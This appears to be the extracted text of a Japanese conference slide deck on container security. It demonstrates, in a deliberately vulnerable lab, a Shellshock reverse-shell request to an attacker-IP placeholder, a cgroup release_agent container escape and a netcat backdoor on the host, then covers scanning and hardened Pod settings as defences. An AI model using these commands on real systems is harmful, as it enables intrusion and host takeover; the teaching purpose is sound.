Weitere ähnliche Inhalte Ähnlich wie 乗っ取れコンテナ!!開発者から見たコンテナセキュリティの考え方(CloudNative Days Tokyo 2021 発表資料) (20) Mehr von NTT DATA Technology & Innovation (20) 乗っ取れコンテナ!!開発者から見たコンテナセキュリティの考え方(CloudNative Days Tokyo 2021 発表資料)10. ホストOSのリスク
・大きなアタックサーフェス
・共有カーネル
・ホスト OS コン
ポ
ーネントの脆弱性
・不適切なユー
ザ
アクセス権
・ホスト OS ファイルシステムの改
ざ
ん
オーケストレーターのリスク
・制限のない管理者アクセス
・不正アクセス
・コンテナ間ネットワークトラフィックの不十分な分離
・ワークロー
ド
の機微性レ
ベ
ルの混合
・オーケストレータノー
ド
の信頼
レジストリのリスク
・レ
ジ
ストリへのセキュア
で
ない接続
・レ
ジ
ストリ内の古いイメー
ジ
・認証・認可の不十分な制限
コンテナのリスク
・ランタイムソフトウェア内の脆弱性
・コンテナからの無制限のネットワークアクセス
・セキュア
で
ないコンテナランタイムの設定
・ア
プ
リの脆弱性
・未承認コンテナ
イメージのリスク
・イメー
ジ
の脆弱性
・イメー
ジ
の設定の不備
・埋め込まれたマルウェア
・埋め込まれた平文の秘密情報
・信頼
で
きないイメー
ジ
の使用
コンテナセキュリティのプラクティスの代表的例として、
NIST SP800-190 アプリケーションコンテナセキュリティガイド
があります。
本プラクティスによるとコンテナセキュリティとして扱うべきスコープは以下のように定義されています。
NIST SP800-190 アプリケーションコンテナセキュリティガイド(IPA日本語翻訳版)
https://www.ipa.go.jp/
fi
les/000085279.pdf
1. コンテナセキュリティの全体像とスコープ
11. ホストOSのリスク
・大きなアタックサーフェス
・共有カーネル
・ホスト OS コン
ポ
ーネントの脆弱性
・不適切なユー
ザ
アクセス権
・ホスト OS ファイルシステムの改
ざ
ん
オーケストレーターのリスク
・制限のない管理者アクセス
・不正アクセス
・コンテナ間ネットワークトラフィックの不十分な分離
・ワークロー
ド
の機微性レ
ベ
ルの混合
・オーケストレータノー
ド
の信頼
レジストリのリスク
・レ
ジ
ストリへのセキュア
で
ない接続
・レ
ジ
ストリ内の古いイメー
ジ
・認証・認可の不十分な制限
コンテナのリスク
・ランタイムソフトウェア内の脆弱性
・コンテナからの無制限のネットワークアクセス
・セキュア
で
ないコンテナランタイムの設定
・ア
プ
リの脆弱性
・未承認コンテナ
イメージのリスク
・イメー
ジ
の脆弱性
・イメー
ジ
の設定の不備
・埋め込まれたマルウェア
・埋め込まれた平文の秘密情報
・信頼
で
きないイメー
ジ
の使用
1. コンテナセキュリティの全体像とスコープ
コンテナセキュリティのプラクティスの代表的例として、
NIST SP800-190 アプリケーションコンテナセキュリティガイド
があります。
本プラクティスによるとコンテナセキュリティとして扱うべきスコープは以下のように定義されています。
NIST SP800-190 アプリケーションコンテナセキュリティガイド
https://www.ipa.go.jp/
fi
les/000085279.pdf
雰囲気は分かる!!
が、
具体的に捉え辛い・・・
※個人の見解です
12. Registry
Cloud/NW
Host OS
Orchestrator
Container Runtime
Container
Container Image
Application
Developer
Administrator
デプロイするコンテナのセキュリティを考える
コンテナ基盤のセキュリティを考える
・どのようなコンテナをデプロイするか
・コンテナにどのような設定を行うか
・基盤をどのように管理するか
・基盤にどのような設定を行うか
・基盤にどのような制限をかけるか
・基盤をどのように監視するか
NIST SP800-190をベースにコンテナセキュリティで扱うスコープをさらに細分化すると、
以下のように開発者と基盤管理者それぞれで担うべきレイヤに分けることができます。
一般的にはこれら各レイヤそれぞれに対してセキュリティ対策を行う多層防御の考え方が推奨されます。
1. コンテナセキュリティの全体像とスコープ
13. Registry
Cloud/NW
Host OS
Orchestrator
Container Runtime
Container
Container Image
Application
Developer
Administrator
デプロイするコンテナのセキュリティを考える
コンテナ基盤のセキュリティを考える
・どのようなコンテナをデプロイするか
・コンテナにどのような設定を行うか
・基盤をどのように管理するか
・基盤にどのような設定を行うか
・基盤にどのような制限をかけるか
・基盤をどのように監視するか
本セッションではその中でも開発者の責任レイヤに関するセキュリティリスク及び対策の考え方を
具体的な例に基づき扱っていきたいと思います。
1. コンテナセキュリティの全体像とスコープ
※Applicationについても開発者の責任範囲ではありますが、今回の趣旨とは逸れるためここではスコープから除外しています
14. Role Layer NIST SP800-190
イメージのリスク コンテナのリスク オーケストレータのリスク ホストOSのリスク レジストリのリスク
Developer Application ア
プ
リの脆弱性
Container Image イメージの脆弱性
イメージの設定不備*
埋め込まれたマルウェア
埋め込まれた平文の秘密情報
信頼できないイメージの使用
Container イメージの設定不備* セキュア
で
ないコンテナランタイムの設定 共有カーネル*
ホスト OS ファイルシステムの改
ざ
ん*
Administrator Container Runtime ランタイムソフトウェア内の脆弱性
Orchestrator コンテナからの無制限のネットワークアクセス
未承認コンテナ
制限のない管理者アクセス
不正アクセス
コンテナ間ネットワークトラフィックの不十分な分離
ワークロー
ド
の機微性レ
ベ
ルの混合
オーケストレータノー
ド
の信頼
Host OS 共有カーネル*
ホスト OS ファイルシステムの改
ざ
ん*
ホスト OS コン
ポ
ーネントの脆弱性
大きなアタックサーフェス**
不適切なユー
ザ
アクセス権 **
Cloud/NW 大きなアタックサーフェス**
不適切なユー
ザ
アクセス権 **
Registry レジストリへのセキュアでない接続
レジストリ内の古いイメージ
認証・認可の不十分な制限
(参考)各レイヤへのマッピング
1. コンテナセキュリティの全体像とスコープ
15. CloudNative Days Tokyo 2020「攻撃しながら考えるKubernetesのセキュリティ」
資料
https://speakerdeck.com/fujiihda/considering-kubernetes-security-while-attacking
動画
https://event.cloudnativedays.jp/cndt2020/talks/26
CloudNative Days Online 2021「ここからはじめるKubernetesセキュリティ」
資料
https://speakerdeck.com/tetsuyaisogai/kubernetes-security-101
動画
https://event.cloudnativedays.jp/cndo2021/talks/611
基盤管理者目線のリスクやセキュリティ対策にも興味がある方は、以下のセッションが参考になると思いますので
合わせてご覧ください。
(参考)基盤管理者目線のセキュリティ
1. コンテナセキュリティの全体像とスコープ
21. Developer
Kubernetes Cluster
Worker Node #1
Worker Node #2
Manifest
Container
Image
Service A
Service B
Service C
$ kubectl apply
Master Node
Webサイトを
コンテナとしてデプロイ
あるチームではKubernetesをコンテナ基盤として利用しており、
アプリ開発者は様々なサービスをコンテナ(Pod)としてデプロイしています。
ある時、新たにWebサービスをユーザーに提供しようとコンテナをデプロイしました。
※今回のケースではWebサービスデプロイに用いるコンテナイメージ、Kubernetes Manifest(コンテナ起動設定)
にセキュリティリスクを含んでおり、攻撃者はそれらを利用して攻撃を仕掛けます
セキュリティリスクを含む
2.1. コンテナへの攻撃事例 -概要-
22. Developer
Kubernetes Cluster
Worker Node #1
Worker Node #2
Service A
Service B
Service C
Web
$ kubectl get pod
NAME READY STATUS RESTARTS AGE
web 1/1 Running 0 3m
service_a 1/1 Running 0 15h20m
service_b 1/1 Running 0 9h17m
service_c 1/1 Running 0 7h11m
Master Node
2.1. コンテナへの攻撃事例 -概要-
あるチームではKubernetesをコンテナ基盤として利用しており、
アプリ開発者は様々なサービスをコンテナ(Pod)としてデプロイしています。
ある時、新たにWebサービスをユーザーに提供しようとコンテナをデプロイしました。
※今回のケースではWebサービスデプロイに用いるコンテナイメージ、Kubernetes Manifest(コンテナ起動設定)
にセキュリティリスクを含んでおり、攻撃者はそれらを利用して攻撃を仕掛けます
23. User
Kubernetes Cluster
Worker Node #1
Worker Node #2
Service A
Service B
Service C
Web NW
Master Node
Webサイトにアクセス
ユーザーは新たに公開されたWebサービスにアクセスし、サービスを利用します。
2.1. コンテナへの攻撃事例 -概要-
27. Attacker
Kubernetes Cluster
Worker Node #1
Worker Node #2
Service A
Service B
Service C
Web NW
Master Node
悪意のあるユーザー(攻撃者)がWebサービスのセキュリティリスクを発見し、攻撃を仕掛けようと試みます。
なお、今回の例で攻撃者は一般ユーザーと同じくインターネット越しにサービスにアクセスするものとします。
※本来攻撃を仕掛ける際は攻撃者がどのようにセキュリティリスクを発見するか、どのように攻撃対象の構成を知るか、
といった観点も考慮する必要がありますが、今回の趣旨とは話が逸れるため省略させていただきます。
Attack!!
2.1. コンテナへの攻撃事例 -概要-
28. Attacker
Container Host(Worker Node #1)
Service A
Web
今回のシナリオでは攻撃者は以下の2つの攻撃を試みます。
[シナリオ①] コンテナを乗っ取る
Webサービスに不正なリクエストを送りつけることでコンテナにバックドアを仕掛けて侵入する。
その後、Webサイトのリンクを書き換える。
[シナリオ②] コンテナホストを乗っ取る
侵入したコンテナからコンテナホストに対して不正なコマンドを発行する。
コマンド実行によりバックドアを仕掛けることでコンテナホストに侵入する。
①-1. コンテナ内に侵入
①-2. Webサイトを書き換え
cmd
②-1. コンテナホストに対して不正なコマンドを実行
Back Door
②-2. バックドアを作成
②-3. バックドアを経由して侵入
2.1. コンテナへの攻撃事例 -概要-
※開発者がセキュリティリスクを含むコンテナをデプロイしているケースを想定した攻撃デモを目的と
しているため、意図的に脆弱な環境を作成しています
また、コンテナレイヤのリスクを表現するため、あえて基盤管理レイヤへのセキュリティ対策は
行っていません
30. Attacker
Container Host(Worker Node #1)
最初に攻撃者は以下のようなHTTPリクエストをWebサービスコンテナに対して発行します。
これによりコンテナ内で不正にコマンドが実行され、コンテナに侵入するためのバックドアが作成されます。
不正なHTTPリクエストを送信
# nc -nvlp 5050
# curl -H "user-agent: () { :; }; echo; /bin/nc -e /bin/bash <攻撃端末IP> 5050"
http://container-hands-on.local/cgi-bin/vulnerable
Web
攻撃者端末(ターミナル1)
攻撃者端末(ターミナル2)
ターミナル2のHTTPリクエストでヘッダに付
与したコマンドが実行され、
攻撃者端末とセッションを確立
5050ポート待ち受け
/bin/nc
2.2. コンテナへの攻撃事例 -①コンテナを乗っ取る-
31. Attacker
Container Host(Worker Node #1)
攻撃者のターミナル1でコンテナに侵入できた(コンテナ内のshellを取得できた)ことが確認できます。
これにより攻撃者はコンテナ内で任意の操作が可能になりました。
コンテナ内に侵入
# nc -nvlp 5050
Listening on 0.0.0.0 5050
Connection received on 192.168.2.155 54758
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),1000(wheel)
hostname
web
Web
コンテナ(攻撃者端末のターミナル1から侵入)
攻撃者はコンテナ内で
任意のコマンドを実行
可能になった
5050ポート待ち受け
コンテナとセッション確立
2.2. コンテナへの攻撃事例 -①コンテナを乗っ取る-
32. Attacker
Container Host(Worker Node #1)
侵入したコンテナ内で以下のコマンドを実行し、Webコンテンツのリンクを書き換えます。
Webサイトを書き換え
sudo sed -i -e 's/https://www.katacoda.com/courses/kubernetes/danger.html/' /var/www/html/index.html
Web
コンテナ(攻撃者端末のターミナル1から侵入)
※今回は検証用ということであらかじめコンテナ内に用意したダミーページ( /var/www/html/danger.html)にリンク先を変更しています。
5050ポート待ち受け
コンテナとセッション確立
2.2. コンテナへの攻撃事例 -①コンテナを乗っ取る-
35. Attacker
Container Host(Worker Node #1)
続いて侵入したコンテナからWorker Nodeで任意のコマンドを実行することを試みます。
※このように本来隔離されているはずのコンテナからコンテナ外(ホストなど)に対して影響を及ぼすことをContainer Breakoutと呼ぶ
まずはコンテナ内でroot(特権ユーザー)に昇格します。
これで侵入したコンテナ内で攻撃者はrootとして振る舞うことが可能になりました。
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),1000(wheel)
sudo su -
id
uid=0(root) gid=0(root) groups=0(root)
Web
コンテナ(攻撃者端末のターミナル1から侵入)
sudo su -
コンテナ内で特権ユーザーに昇格
2.3. コンテナへの攻撃事例 -②コンテナホストを乗っ取る-
36. Attacker
Container Host(Worker Node #1)
ホストで実行したいプログラムをコンテナ内で作成します。
cat <<EOF > /cmd
#!/bin/sh
echo "hostname Command from Container" > /tmp/output
hostname >> /tmp/output
EOF
# chmod +x /cmd
Web
コンテナ(攻撃者端末のターミナル1から侵入)
cat
プログラムを作成
cmd
2.3. コンテナへの攻撃事例 -②コンテナホストを乗っ取る-
37. Attacker
Container Host(Worker Node #1)
先ほどコンテナ内で作成したファイルcmdの実態は、ホスト上のrootfsに所属する特定ディレクトリに存在することになります。
これはコンテナのrootfsがホスト上のOverlayFSからマウントされているためです。
OverlayFSは複数のディレクトリを重ね合わせて1つのファイルシステムを再現する仕組みであり、
OverlayFSに対する更新はUpperdirに反映されます。
mount -t overlay
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/87/fs:/var/lib/
containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/58/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/
snapshots/57/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/56/fs:/var/lib/containerd/
io.containerd.snapshotter.v1.overlayfs/snapshots/55/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/54/
fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/53/fs:/var/lib/containerd/
io.containerd.snapshotter.v1.overlayfs/snapshots/52/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/51/
fs,upperdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/92/fs,workdir=/var/lib/containerd/
io.containerd.snapshotter.v1.overlayfs/snapshots/92/work,xino=o
ff
)
Web
コンテナ(攻撃者端末のターミナル1から侵入)
/sys/fs/cgroup/rdma/
x
notify_on_release
cmd
Overlayfs
Upperdir
Lowerdir(Layer1)
Lowerdir(Layer2)
work
cmd
実体はホスト上の
Overlayfsに存在
※マウントされているOverlayfsのホスト上でのパスは、コンテナ内でmountコマンドを実行することで確認可能です。
2.3. コンテナへの攻撃事例 -②コンテナホストを乗っ取る-
38. Attacker
Container Host(Worker Node #1)
コンテナ内でcgroupと呼ばれる特殊なファイルシステムに対してディレクトリを作成します。
このcgroupというファイルシステムについてはコンテナとホストで共有されているため、
ここではコンテナから直接ホストのcgroupを操作していることになります。
※一般的にコンテナとホストでファイルシステムは隔離されます。しかしcgroupについてはデフォルトでcgroup namespaceが共通であるため、双方で共有される事になることになります。
mkdir /sys/fs/cgroup/rdma/x
ls /sys/fs/cgroup/rdma/
cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks x
Web
コンテナ(攻撃者端末のターミナル1から侵入)
root@k8s-cluster1-worker01: # ls /sys/fs/cgroup/rdma/
cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks x
コンテナホスト
/sys/fs/cgroup/rdma/
x
mkdir
コンテナ内でcgroupを作成すると、
同じものがホスト上にも作成される
2.3. コンテナへの攻撃事例 -②コンテナホストを乗っ取る-
39. Attacker
Container Host(Worker Node #1)
cgroupがコンテナとホストで共通であることを利用すると、以下のようなコマンド操作を行うことで先ほど用意した
プログラムをcgroupの機能を用いて発火させ、ホスト上で実行できるようになります。
[補足]
cgroupとはカーネル上のプロセスに対してリソースの制限を行う仕組みであり、ここではcgroup v1のもつrelease agentという機能を利用しています。
release agentを有効(①)にした上で設定ファイルにプログラムを登録(②)しておくことで、特定のcgroupに所属するプロセスが全て終了(③)したことを契機に
そのプログラムを実行することができます。
Web
/sys/fs/cgroup/rdma/
x
notify_on_release
コマンド実行 sh
Overlayfs
Upperdir
Lowerdir(Layer1)
Lowerdir(Layer2)
work
cmd
release_agent
登録されたプログラムを発火
cgroup.procs
process
コマンド実行時にPIDが登録され
完了に伴い削除される
※xに所属するプロセスが全て終了したとみなされる
ホスト上で実行
echo 1 > /sys/fs/cgroup/rdma/x/notify_on_release
echo "/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/92/fs/cmd" > /sys/fs/cgroup/rdma/release_agent
sh -c "echo $$ > /sys/fs/cgroup/rdma/x/cgroup.procs"
コンテナ(攻撃者端末のターミナル1から侵入)
・・・①
・・・②
・・・③
ホスト上でのcmdのパス
2.3. コンテナへの攻撃事例 -②コンテナホストを乗っ取る-
41. コンテナ内からホスト上で任意のコマンドを実行できることを利用し、ホストにバックドアを仕掛けて侵入することを試みます。
まずはホストのIPアドレスを取得します。
コンテナ(攻撃者端末のターミナル1から侵入)
cat <<EOF > /cmd
#!/bin/sh
ip a > /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/92/fs/ip.txt
EOF
ホストから見たコンテナのrootfsのパス
sh -c "echo $$ > /sys/fs/cgroup/rdma/x/cgroup.procs"
cat /ip.txt
(略)
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:0c:29:d1:c7:c6 brd
ff
:
ff
:
ff
:
ff
:
ff
:
ff
inet 192.168.2.154/24 brd 192.168.2.255 scope global ens160
(略)
プログラムの作成
プログラムの実行
プログラムの実行結果の確認
2.3. コンテナへの攻撃事例 -②コンテナホストを乗っ取る-
43. 攻撃者端末において、ターミナル3でコマンドを発行するとその実行結果がターミナル2に表示されるようになりました。
これで攻撃者は自身の端末からコンテナホストに対して任意のコマンドを発行できるようになりました。
(コンテナホストを乗っ取ることができた)
# nc -l 8023
uid=0(root) gid=0(root) groups=0(root)
k8s-cluster1-worker01
CONTAINER ID IMAGE CREATED STATE NAME ATTEMPT POD ID
f73e6d0a32955 b00e04dc37e5b 15 minutes ago Running web 0 6e32489bcb40e
f090ed1dec116 20e6ceb085463 29 hours ago Running service_a 0 3fd1801877dbe
4fe0ae03678de bbad1636b30d8 5 days ago Running kube-proxy 0 59c4d874c0a5b
6698a0c797f1e 8d147537fb7d1 5 days ago Running coredns 0 b52984d75ce11
攻撃者端末(ターミナル2)
# nc 192.168.2.154 9023
id
hostname
crictl ps
Attacker
Container Host(Worker Node #1)
Web
攻撃者はバックドアを経由して任意の
コマンドを実行できるようになった
8023ポート待ち受け
Back Door
(9023ポート待ち受け) 9023ポート宛通信
id
hostname
crictl
攻撃者端末(ターミナル3)
2.3. コンテナへの攻撃事例 -②コンテナホストを乗っ取る-
51. Container Host
process
Container A
Image A
Container Host
process
Container B
Image B
必要最小限のライブラリや
パッケージ、バイナリ、
設定値を含めたイメージ
必要以上のライブラリや
パッケージ、バイナリ、
設定値を含めたイメージ
コンテナの隔離環境には必要最小限のものが含まれる状態 コンテナの隔離環境に様々なものが含まれる状態
<< セキュリティリスク <<
イメージに余分なものを含めない
3.2. コンテナセキュリティの考え方 -イメージ-
基本
原則
小 大
54. 開発者が使用したベースイメージの中身は以下のようになっており、
本来含めるべきでない様々な余分なものが含まれている状態でした。
FROM debian:buster
# Install packages and permission setting
RUN apt-get update &&
apt-get upgrade -y &&
DEBIAN_FRONTEND=noninteractive apt-get install -y apache2 &&
a2enmod cgid &&
apt-get -y install libtinfo5 &&
apt-get -y install netcat &&
apt-get install -y sudo &&
groupadd wheel &&
usermod -aG wheel www-data &&
echo "%wheel ALL=NOPASSWD: ALL" >> /etc/sudoers &&
apt-get clean &&
rm -rf /var/lib/apt/lists/*
# Inject CVE-2014-6271 bash
COPY packages /packages
RUN dpkg -i /packages/*
# Place content
COPY vulnerable /usr/lib/cgi-bin/
COPY danger.html /var/www/html/
RUN chown www-data:www-data /var/www/html/* &&
chown www-data:www-data /usr/lib/cgi-bin/vulnerable &&
chmod +x /usr/lib/cgi-bin/vulnerable
EXPOSE 80
CMD ["/usr/sbin/apache2ctl", "-DFOREGROUND"]
不要なパッケージ
不要な設定
脆弱性を含むパッケージ
※CVE-2014-6271を含むbash
不要なIF
ベースイメージのDocker
fi
le
( mochizuki875/cve-2014-6271-apache-debian:buster)
3.2. コンテナセキュリティの考え方 -イメージ- リスク
61. trivyを用いてイメージをスキャンすることで、以下のようにイメージに含まれるパッケージの脆弱性を検知できます。
今回攻撃に使用された脆弱性(CVE-2014-6271)についてもtrivyを用いて検知できていることが分かります。
$ trivy --severity CRITICAL,HIGH mochizuki875/training-website-poc:v1.0
2021-08-30T19:13:57.535+0900
INFO
Need to update DB
2021-08-30T19:13:57.535+0900
INFO
Downloading DB...
23.09 MiB / 23.09 MiB [--------------------------------------------------------------------------------------------------------------------------] 100.00%
12.18 MiB p/s 2s
2021-08-30T19:14:00.488+0900
INFO
Detected OS: debian
2021-08-30T19:14:00.488+0900
INFO
Detecting Debian vulnerabilities...
2021-08-30T19:14:00.510+0900
INFO
Number of language-specific files: 0
mochizuki875/training-website-poc:v1.0 (debian 10.10)
=====================================================
Total: 43 (HIGH: 38, CRITICAL: 5)
+---------------+------------------+----------+-----------------------+------------------+--------------------------------------------------------------+
| LIBRARY | VULNERABILITY ID | SEVERITY | INSTALLED VERSION | FIXED VERSION | TITLE |
+---------------+------------------+----------+-----------------------+------------------+--------------------------------------------------------------+
| apache2 | CVE-2021-33193 | HIGH | 2.4.38-3+deb10u5 | | httpd: Request splitting via HTTP/2 |
| | | | | | method injection and mod_proxy |
| | | | | | -->avd.aquasec.com/nvd/cve-2021-33193 |
+---------------+ + + +------------------+ +
・
・
・
+---------------+------------------+----------+-----------------------+------------------+--------------------------------------------------------------+
| bash | CVE-2014-6271 | CRITICAL | 4.2+dfsg-0.1 | 4.3-9.1 | bash: specially-crafted |
| | | | | | environment variables can be |
| | | | | | used to inject shell commands |
| | | | | | -->avd.aquasec.com/nvd/cve-2014-6271 |
+ +------------------+----------+ +------------------+--------------------------------------------------------------+
| | CVE-2012-6711 | HIGH | | 4.3-1 | bash: heap-based buffer |
| | | | | | overflow during echo of |
| | | | | | unsupported characters |
| | | | | | -->avd.aquasec.com/nvd/cve-2012-6711 |
+ +------------------+ + +------------------+--------------------------------------------------------------+
・
・
・
+---------------+------------------+ +-----------------------+------------------+--------------------------------------------------------------+
| openssl | CVE-2021-3711 | | 1.1.1d-0+deb10u6 | 1.1.1d-0+deb10u7 | openssl: SM2 Decryption |
| | | | | | Buffer Overflow |
| | | | | | -->avd.aquasec.com/nvd/cve-2021-3711 |
+---------------+------------------+----------+-----------------------+------------------+--------------------------------------------------------------+
3.2. コンテナセキュリティの考え方 -イメージ- 対策
62. $ dockle mochizuki875/training-website-poc:v1.0
2021-08-30T19:23:33.243+0900
INFO
Failed to check latest version. not found version patterns
FATAL
- DKL-DI-0001: Avoid sudo command
* Avoid sudo in container : RUN /bin/sh -c apt-get update && apt-get upgrade -y && DEBIAN_FRONTEND=noninteractive apt-get install -y apache2
&& a2enmod cgid && apt-get -y install libtinfo5 && apt-get -y install netcat && apt-get install -y sudo && groupadd wheel &&
usermod -aG wheel www-data && echo "%wheel ALL=NOPASSWD: ALL" >> /etc/sudoers && apt-get clean && rm -rf /var/lib/apt/lists/* # buildkit
WARN
- CIS-DI-0001: Create a user for the container
* Last user should not be root
INFO
- CIS-DI-0005: Enable Content trust for Docker
* export DOCKER_CONTENT_TRUST=1 before docker pull/build
INFO
- CIS-DI-0006: Add HEALTHCHECK instruction to the container image
* not found HEALTHCHECK statement
INFO
- CIS-DI-0008: Confirm safety of setuid/setgid files
* setuid file: urwxr-xr-x bin/ping
* setuid file: urwxr-xr-x usr/bin/passwd
* setuid file: urwxr-xr-x usr/bin/sudo
* setgid file: grwxr-xr-x usr/bin/expiry
* setgid file: grwxr-xr-x usr/bin/wall
* setgid file: grwxr-xr-x usr/bin/chage
* setuid file: urwxr-xr-x bin/umount
* setuid file: urwxr-xr-x bin/su
* setuid file: urwxr-xr-x usr/bin/gpasswd
* setgid file: grwxr-xr-x sbin/unix_chkpwd
* setuid file: urwxr-xr-x bin/mount
* setuid file: urwxr-xr-x usr/bin/newgrp
* setuid file: urwxr-xr-x usr/bin/chfn
* setuid file: urwxr-xr-x usr/bin/chsh
dockleを用いてイメージをスキャンすることで、設定上のセキュリティリスクを検知することができます。
今回の攻撃例においてコンテナ侵入後に特権昇格に用いられたsudoコマンドに関する警告が検知されている
ことが分かります。
3.2. コンテナセキュリティの考え方 -イメージ- 対策
64. No 対策 詳細
1 信頼できるイメージを利用する
信頼できないイメージには、脆弱性やAttack Surfaceになり得るパッケージ、
マルウェア、危険な設定などあらゆるセキュリティリスクが含まれている可能性が
あるため、公式イメージを用いるか、scratchでイメージを作成すべき。
2 イメージを小さくする
一般的にイメージ容量が大きいということはイメージにセキュリティリスクを含む可能性も
高くなるため、可能な限りイメージを小さくすべき。
3 イメージをスキャンする
意図せぬ脆弱性や設定不備の混入を防止するためにイメージのスキャンを行う。
時間経過と共に発生した脆弱性に対応するためスキャンは継続的に行う。
※ただしツールを用いることで全てのセキュリティリスクを取り除けるわけではないため
1,2を踏まえた上で補助的な役割としてツールを活用すべき。
セキュリティ対策まとめ
3.2. コンテナセキュリティの考え方 -イメージ- 対策
67. Container Host
OS
process A
rootfs(/)
process B
process C
rootfs(/)
process D
Container
Isolation
Namespace:プロセスの実行空間を隔離
pivot_root + OverlayFS:rootfsを隔離
Limitation
cgroup:リソースを制限
Restriction
Capability:プロセスの権限範囲を制限
Seccomp:システムコールを制限
MAC(AppArmor/SELinux):ファイルアクセスを制限
ReadOnlyMount:重要なファイルシステム(/procや/sys等)をROでマウント
etc
一般的なプロセスとコンテナの違いは、コンテナとして実行されるプロセスはLinuxカーネルの持つ様々な仕組みを使って
他のプロセスから隔離されている点です。
3.3. コンテナセキュリティの考え方 -コンテナ-
基本
原則
73. mount ¦ grep cgroup
(略)
cgroup on /sys/fs/cgroup/memory type cgroup (rw,nosuid,nodev,noexec,relatime,memory)
cgroup on /sys/fs/cgroup/pids type cgroup (rw,nosuid,nodev,noexec,relatime,pids)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct)
cgroup on /sys/fs/cgroup/rdma type cgroup (rw,nosuid,nodev,noexec,relatime,rdma)
(略)
(特権コンテナ)
今回のケースでは特権を与えたことによりcgroupへのアクセス権がRWに設定されました
今回の攻撃事例ではコンテナに特権を付与したことで、
本来コンテナの仕組み上ReadOnlyが設定されるべきcgroupへの書き込みが可能な状態となっていました。
これによりcgroupをコンテナ内から操作して、ホスト上で任意のプログラムを実行するという攻撃に繋げることが
できてしまいました。
mount ¦ grep cgroup
(略)
cgroup on /sys/fs/cgroup/memory type cgroup (ro,nosuid,nodev,noexec,relatime,memory)
cgroup on /sys/fs/cgroup/pids type cgroup (ro,nosuid,nodev,noexec,relatime,pids)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpu,cpuacct)
cgroup on /sys/fs/cgroup/rdma type cgroup (ro,nosuid,nodev,noexec,relatime,rdma)
(略)
(非特権コンテナ)
通常コンテナではcgroupへのアクセス権はROに設定されます
3.3. コンテナセキュリティの考え方 -コンテナ- リスク
74. mkdir /sys/fs/cgroup/rdma/x
・
・
・
sh -c "echo $$ > /sys/fs/cgroup/rdma/x/cgroup.procs"
本来コンテナからは許可されていない
cgroupの操作を通じたプログラムの実行
mkdir /sys/fs/cgroup/rdma/x
mkdir: cannot create directory '/sys/fs/cgroup/rdma/x': Read-only
fi
le system
(非特権コンテナ)
cgroupへのアクセス権がROなのでcgroupの作成が許可されていない
(特権コンテナ)
cgroupへのアクセス権がRWに設定されておりcgroupの作成や設定変更が可能
3.3. コンテナセキュリティの考え方 -コンテナ-
今回の攻撃事例ではコンテナに特権を付与したことで、
本来コンテナの仕組み上ReadOnlyが設定されるべきcgroupへの書き込みが可能な状態となっていました。
これによりcgroupをコンテナ内から操作して、ホスト上で任意のプログラムを実行するという攻撃に繋げることが
できてしまいました。
リスク
77. 代表的なコンテナのセキュリティリスクに対処するためのプラクティス
■概念
NIST SP800-190 アプリケーションコンテナセキュリティガイド(IPA日本語翻訳版)
- 4.4 コンテナの対策
- 4.5 ホストの対策)
https://www.ipa.go.jp/
fi
les/000085279.pdf
■具体的な設定
Pod Security Standards
https://kubernetes.io/docs/concepts/security/pod-security-standards/
NSA CISA Kubernetes Hardening Guidance (Kubernetes Pod security )
https://media.defense.gov/2021/Aug/03/2002820425/-1/-1/1/CTR_KUBERNETES%20HARDENING%20GUIDANCE.PDF
3.3. コンテナセキュリティの考え方 -コンテナ- 対策
79. デフォルトの設定に対して適切な設定を行うことでコンテナの隔離性を向上させ、
セキュリティレベルを高めることができます。
※具体的な設定値の一覧については先に示したプラクティスをご参照ください。
apiVersion: v1
kind: Pod
metadata:
labels:
run: web-secure
name: web-secure
spec:
securityContext:
seccompPro
fi
le:
type: RuntimeDefault
automountServiceAccountToken: false
containers:
- image: mochizuki875/training-website-poc:v2.0
name: web
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities:
drop:
- all
add:
- CHOWN
- SETUID
- SETGID
- NET_BIND_SERVICE
resources:
limits:
cpu: "500m"
memory: "128Mi"
volumeMounts:
- name: log-volume
mountPath: /usr/local/apache2/logs/
volumes:
- name: log-volume
emptyDir: {}
・・・①
・・・②
・・・③
・・・④
・・・⑤
・・・④
[隔離性をより高める設定の例]
① seccompによるシステムコールの制限
② ServiceAccountをマウントしない
③ 特権昇格の禁止
④ rootfsへの書き込み禁止
⑤ Capabilityの剥奪・必要最小限の付与
⑥ リソース使用量を制限
隔離性をより高める設定
セキュリティ対策を施したKubernetes Manifest
(web-secure-pod.yml)
※特に今回の攻撃に関連する対策は青字で表記しています。
3.3. コンテナセキュリティの考え方 -コンテナ-
・・・⑥
対策
80. コンテナの隔離性をより高める設定の代表的な項目の1つとして、
コンテナの実行ユーザーをrootとせず非rootとすべきといった内容が挙げられます。
※コンテナイメージ、Kubernetes Manifestで特に指定しない場合はrootでコンテナが起動される
FROM ubuntu:20.04
CMD ["/bin/sh", "-c", "while :; do sleep 10; done"]
apiVersion: v1
kind: Pod
metadata:
labels:
run: ubuntu
name: ubuntu-root
spec:
containers:
- image: mochizuki875/ubuntu:20.04-root
name: ubuntu-root
FROM ubuntu:20.04
RUN useradd -m -u 1000 user01
USER user01
WORKDIR /home/user01
CMD ["/bin/sh", "-c", "while :; do sleep 10; done"]
apiVersion: v1
kind: Pod
metadata:
labels:
run: ubuntu
